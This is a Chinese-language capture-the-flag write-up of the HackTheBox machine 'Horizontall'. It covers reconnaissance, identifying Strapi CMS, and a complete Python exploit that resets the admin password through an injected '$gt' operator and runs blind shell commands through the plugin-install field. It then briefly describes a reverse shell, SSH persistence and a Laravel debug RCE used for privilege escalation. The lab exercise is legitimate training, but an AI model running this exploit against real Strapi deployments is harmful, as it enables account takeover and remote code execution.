HackTheBox - Machines - Horizontall

2022-03-08 14:00:16 浏览数 (1)

HackTheBox - Machines - Horizontall

本机ip:10.10.14.35 靶机ip:10.10.11.105

1.信息搜集

一般nmap挂着扫端口的同时进行子域名爆破,这里Nmap结果先出来,一如既往开放了22端口和80端口

代码语言:javascript复制
命令:Nmap -sS -sC -sV -O -T4 10.10.11.05

Nmap scan report for 10.10.11.105
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=2/14%OT=22%CT=1%CU=37866%PV=Y%DS=2�=I%G=Y%TM=620A435
OS:8%P=i686-pc-windows-windows)SEQ(SP=F4%GCD=1%ISR=FF%TI=Z%CI=Z%II=I%TS=A)S
OS:EQ(SP=F4%GCD=1%ISR=FF%TI=Z%CI=Z%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O
OS:3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y�=Y%T=40%W=FAF0%O=M508NNSN
OS:W7�=Y%Q=)T1(R=Y�=Y%T=40%S=O%A=S %F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y�=Y%T=40%W=0%S=Z%A=S %F=AR%O
OS:=%RD=0%Q=)T6(R=Y�=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y�=Y%T=40%W
OS:=0%S=Z%A=S %F=AR%O=%RD=0%Q=)U1(R=Y�=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y�I=N%T=40�=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

浏览器访问10.10.11.105,发现自动解析成了horizontall.htb,网页提示无法访问此网站

windows解决办法:c:windowssystem32driversetchosts文件修改成ip对应域名,再到浏览器刷新一下即可。

Linux解决办法:vim /etc/hosts 直接编辑,修改ip对应域名保存即可。

打开页面发现该页面是一个纯静态页面,并且使用了webpack打包源码

这里有个小知识:F12 -> network -> 刷新页面 -> 选择只显示js

遇到这种app… chunk… main…的js,并且该网站用了使用了webpack,那么就可以打开这个js,在其后面拼接一个.map,就会自动下载一个js.map文件或者是页面内容有变化,如果遇到这种情况可以安装一个nodejs,再使用npm安装reverse-sourcemap,来打包源码还原,这里就不具体讲了,偏题了

如果有兴趣,具体可看:Webpack打包还原源码

目录扫描的结果也出来了:

代码语言:javascript复制
E:信息搜集目录扫描dirsearch-master>python dirsearch.py --random-agent --exclude-status 400,401,403,404,500,429 -e * -u horizontall.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30
Wordlist size: 15492

Target: http://horizontall.htb/

[20:26:37] Starting:
[20:26:43] 301 -  194B  - /js  ->  http://horizontall.htb/js/
[20:28:11] 301 -  194B  - /css  ->  http://horizontall.htb/css/
[20:28:22] 200 -    4KB - /favicon.ico
[20:28:34] 301 -  194B  - /img  ->  http://horizontall.htb/img/
[20:28:35] 200 -  901B  - /index.html

Task Completed

可以看到并没有什么有用的信息

这里web是vuejs,我将其源码打包下来,但是我在js这一块确实是不擅长,所以等待子域名爆破出来之后查看了一下子域名的结果。

可以看到,爆破出来了一个子域名,将其添加到hosts文件中进行访问。

来到主页,除了这个大写的欢迎之外就没有其他东西了,进行目录扫描看看呢,既然存在,那么一定有他的道理。

再对其子域名进行一波目录扫描

代码语言:javascript复制
E:信息搜集目录扫描dirsearch-master>python dirsearch.py --random-agent --exclude-status 400,401,403,404,500,429 -e * -u api-prod.horizontall.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30
Wordlist size: 15492

Target: http://api-prod.horizontall.htb/

[20:32:02] Starting:
[20:32:26] 200 -  854B  - /ADMIN
[20:32:27] 200 -  854B  - /Admin
[20:32:27] 200 -  854B  - /Admin/login/
[20:32:44] 200 -  854B  - /admin
[20:32:46] 200 -  854B  - /admin/
[20:32:46] 200 -  854B  - /admin/.config
[20:32:46] 200 -  854B  - /admin/.htaccess
[20:32:46] 200 -  854B  - /admin/?/login
[20:32:46] 200 -  854B  - /admin/_logs/access-log
[20:32:46] 200 -  854B  - /admin/_logs/access_log
[20:32:46] 200 -  854B  - /admin/_logs/error-log
[20:32:46] 200 -  854B  - /admin/_logs/error_log
[20:32:46] 200 -  854B  - /admin/access_log
[20:32:46] 200 -  854B  - /admin/account
[20:32:46] 200 -  854B  - /admin/admin-login
[20:32:46] 200 -  854B  - /admin/admin
[20:32:46] 200 -  854B  - /admin/admin/login
[20:32:46] 200 -  854B  - /admin/admin_login
[20:32:47] 200 -  854B  - /admin/adminLogin
[20:32:47] 200 -  854B  - /admin/backup/
[20:32:47] 200 -  854B  - /admin/backups/
[20:32:47] 200 -  854B  - /admin/controlpanel
[20:32:47] 200 -  854B  - /admin/cp
[20:32:47] 200 -  854B  - /admin/db/
[20:32:47] 200 -  854B  - /admin/default
[20:32:47] 200 -  854B  - /admin/dumper/
[20:32:47] 200 -  854B  - /admin/error_log
[20:32:47] 200 -  854B  - /admin/FCKeditor
[20:32:47] 200 -  854B  - /admin/home
[20:32:48] 200 -  854B  - /admin/index
[20:32:48] 200 -  854B  - /admin/index.html
[20:32:48] 200 -  854B  - /admin/js/tiny_mce
[20:32:48] 200 -  854B  - /admin/js/tiny_mce/
[20:32:48] 200 -  854B  - /admin/js/tinymce
[20:32:48] 200 -  854B  - /admin/js/tinymce/
[20:32:48] 200 -  854B  - /admin/log
[20:32:48] 200 -  854B  - /admin/login
[20:32:48] 200 -  854B  - /admin/logs/
[20:32:48] 200 -  854B  - /admin/logs/access-log
[20:32:48] 200 -  854B  - /admin/logs/access_log
[20:32:48] 200 -  854B  - /admin/logs/error-log
[20:32:48] 200 -  854B  - /admin/logs/error_log
[20:32:48] 200 -  854B  - /admin/manage
[20:32:48] 200 -  854B  - /admin/mysql/
[20:32:48] 200 -  854B  - /admin/phpMyAdmin
[20:32:48] 200 -  854B  - /admin/phpMyAdmin/
[20:32:48] 200 -  854B  - /admin/phpmyadmin/
[20:32:48] 200 -  854B  - /admin/pMA/
[20:32:48] 200 -  854B  - /admin/pma/
[20:32:48] 200 -  854B  - /admin/portalcollect.php?f=http://xxx&t=js
[20:32:48] 200 -  854B  - /admin/private/logs
[20:32:48] 200 -  854B  - /admin/release
[20:32:48] 200 -  854B  - /admin/scripts/fckeditor
[20:32:48] 200 -  854B  - /admin/signin
[20:32:48] 200 -  854B  - /admin/sqladmin/
[20:32:48] 200 -  854B  - /admin/sxd/
[20:32:48] 200 -  854B  - /admin/sysadmin/
[20:32:48] 200 -  854B  - /admin/tiny_mce
[20:32:48] 200 -  854B  - /admin/tinymce
[20:32:48] 200 -  854B  - /admin/web/
[20:33:44] 200 -    1KB - /favicon.ico
[20:33:53] 200 -  413B  - /index.html
[20:34:28] 200 -  507B  - /reviews
[20:34:28] 200 -  121B  - /robots.txt

看到admin就来劲了,访问/admin/login

页面自动跳转到**/admin/auth/login**了

有趣的是在js里面找到了三个疑似用户名的名字,但是经过爆破并无结果。

2.漏洞利用

页面虽然有webpack打包,但是这次并没有泄露文件。

在没有头绪的时候,查看了一下Wappalyzer插件,发现这是一个CMS,名字就叫 strapi

小事找百度,大事问谷歌,走你。

找到了几个未经身份认证的rce,话不多说,找exp打一手先。

代码语言:javascript复制
import requests
import json
from cmd import Cmd
import sys

if len(sys.argv) != 2:
    print("[-] Wrong number of arguments provided")
    print("[*] Usage: python3 exploit.py <URL>n")
    sys.exit()


class Terminal(Cmd):
    prompt = "$> "
    def default(self, args):
        code_exec(args)

def check_version():
    global url
    print("[ ] Checking Strapi CMS Version running")
    version = requests.get(f"{url}/admin/init").text
    version = json.loads(version)
    version = version["data"]["strapiVersion"]
    if version == "3.0.0-beta.17.4":
        print("[ ] Seems like the exploit will work!!!n[ ] Executing exploitnn")
    else:
        print("[-] Version mismatch trying the exploit anyway")


def password_reset():
    global url, jwt
    session = requests.session()
    params = {"code" : {"$gt":0},
            "password" : "SuperStrongPassword1",
            "passwordConfirmation" : "SuperStrongPassword1"
            }
    output = session.post(f"{url}/admin/auth/reset-password", json = params).text
    response = json.loads(output)
    jwt = response["jwt"]
    username = response["user"]["username"]
    email = response["user"]["email"]

    if "jwt" not in output:
        print("[-] Password reset unsuccessfulln[-] Exiting nownn")
        sys.exit(1)
    else:
        print(f"[ ] Password reset was successfullyn[ ] Your email is: {email}n[ ] Your new credentials are: {username}:SuperStrongPassword1n[ ] Your authenticated JSON Web Token: {jwt}nn")
def code_exec(cmd):
    global jwt, url
    print("[ ] Triggering Remote code executinn[*] Rember this is a blind RCE don't expect to see output")
    headers = {"Authorization" : f"Bearer {jwt}"}
    data = {"plugin" : f"documentation && $({cmd})",
            "port" : "1337"}
    out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)
    print(out.text)

if __name__ == ("__main__"):
    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]
    check_version()
    password_reset()
    terminal = Terminal()
    terminal.cmdloop()

这个exp可以修改账号密码,也可以执行系统命令。

执行命令反弹shell到手 同样**python3 -c ‘import pty;pty.spawn(“/bin/bash”)‘ **来获得一个交互式shell

拿到用户flag,接下来需要提权到root,拿到root的flag

3.Laravel V8 Rce提权

开头看到有ssh,经过查找,当前用户没有ssh相关文件夹。

为了方便操作,那么我给他手动创建一个,然后生成一个私钥

在目标机器上生成好了之后,在本地再创建一个私钥文件,将生成的私钥加入进去,再使用此文件进行ssh连接即可

通过查看端口,发现本机3306端口和8000端口都活动着,刚刚exp就是通过1337端口打进来的。

3306端口无非就是爆破弱口令等,先看看8000端口是什么

curl 127.0.0.1:8000

可以看到8000端口开放web服务,是Laravel V8框架

但是我们现在访问不到8000端口,所以只能用ssh隧道给他端口转发出来。

成功转发,这个Laravel框架V8 之前爆出过一个调试的RCE,现在去找找对应的exp,找到之后将其clone到本地进行测试

这里RCE2和RCE4、5有回显,那么直接修改其exploit,将其shell给弹回来。

这个时候比较容易掉,所以查看最后flag的时候重新跑了一次。

0 人点赞